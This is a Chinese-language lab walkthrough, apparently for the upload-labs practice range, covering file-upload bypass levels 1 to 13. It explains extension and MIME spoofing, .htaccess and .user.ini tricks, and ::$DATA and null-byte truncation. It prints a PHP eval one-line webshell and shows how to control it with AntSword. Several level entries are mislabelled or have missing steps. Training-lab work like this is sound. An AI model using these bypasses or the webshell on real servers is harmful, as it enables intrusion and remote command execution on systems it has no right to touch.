目录
Pass-01(前端绕过)
Pass-02(MIME 验证)
Pass-03(黑名单绕过)
Pass-04(黑名单验证,.htaccess)
Pass-05(黑名单验证,.user.ini 绕过)
Pass-06(黑名单验证,大小写绕过)
Pass-077(黑名单验证,空格绕过)
Pass-088(黑名单验证,点号绕过)
Pass-09(黑名单验证,特殊字符::$DATA 绕过)
Pass-10(黑名单验证,. . 绕过)
Pass-111(黑名单验证,双写绕过)
Pass-12(get 0x00 截断)
Pass-13(post 0x00 截断)
Pass-01(前端绕过)
打开浏览器bp代理
打开bp进行拦截
创建一个文件编辑信息如下。保存为1.png
<?php phpinfo(); ?>选择1.png文件点击上传
打开bp修改拦截的包,将上传的1.png修改为1.php。然后点击Forward放包
返回界面,右键复制链接
打开这个链接,出现如下代表成功上传解析成功
Pass-02(MIME 验证)
上传1.php
修改上传的 PHP 的 content-type 为 image/png
复制链接
上传解析成功
Pass-03(黑名单绕过)
搜索AddType application/x-httpd-php,把这一行前面的#删除,并且后面显示的.php和.phtml就是可以识别成php文件的后缀,可以自行添加其他的php5等其他的
上传文件
修改文件后缀为.phtml,然后放包
复制链接
我这边打开链接就直接把那个文件下载了,无法正常解析
如果打开链接直接自动下载文件就是php版本不行,换一个低版本的,然后点击重启php服务器
重新打开链接图片成功
Pass-04(黑名单验证,.htaccess)
AddType application/x-httpd-php .jpg第二行代码是之后上传的所有的任意文件都识别解析成php文件
SetHandler application/x-httpd-php我这里以第二行为例
上传.htaccess文件
继续上传1.png文件
复制链接
打开这个链接,发现这个.png也被当成php文件了,出现下面界面代表成功了
之后记得把.htaccess文件删了,不然后面的关卡上传图片都可以直接通过
Pass-05(黑名单验证,.user.ini 绕过)
auto_prepend_file=1.gif创建1.gif木马,写入一句话木马
<?php @eval($_POST["CMD"]) ?>上传.user.ini文件
然后上传1.gif,并且复制图片链接
打开webshell 管理工具
需要工具的可以点击👆下载
我这里使用中国蚁剑为例
右键空白界面点击添加数据
填入1.gif图片的链接,但是把1.gif修改为readme.php(这个文件一般是说明文件,一般的项目目录下都有)
链接密码是CMD。这个是我们自己在1.gif里面设置的,其他的默认,点击左上角的添加
添加成功就会有一条记录,双击即可打开项目文件,但是我这里出现了错误,应该是php服务器版本的问题,修改版本
点击左上角添加,双击这个链接,发现链接错误,把phpstudy版本切换为带nts的版本就行了
然后再次双击刚刚添加的链接就进来了
右键这条记录选择虚拟终端
打开终端就如同打开服务器的终端,可以任意输入命令(当然仅限于自己的靶场,真实的肯定不可以),比如输入ipconfig
Pass-06(黑名单验证,大小写绕过)
抓包对文件后缀进行修改,修改为1.Php然后放包
复制链接
这里打开图片链接出现一个错误
应该是版本问题,更改phpstudy版本为5.4.45
重新打开网址成功了
Pass-077(黑名单验证,空格绕过)
抓包修改文件名,在文件名后面添加一个空格符号,然后放包
打开图片链接显示成功
Pass-088(黑名单验证,点号绕过)
上传文件
抓包修改,文件后面添加一个点符号,然后放包
打开图片链接,显示成功
Pass-09(黑名单验证,特殊字符::$DATA 绕过)
抓包修改,文件后面添加
::$DATA然后放包
复制链接,打开链接报错,去掉::$data符号
刷新网页,显示成功
Pass-10(黑名单验证,. . 绕过)
抓包,修改文件,在文件后面添加点 空格 点,然后放包
打开图片链接,显示成功
Pass-111(黑名单验证,双写绕过)
Pass-12(get 0x00 截断)
刷新网页显示成功
Pass-13(post 0x00 截断)
点击Hex
找到+对应的编码2b,将他修改为00,然后放包
打开图片链接,同样需要删除1.php后面的字符
刷新网页显示成功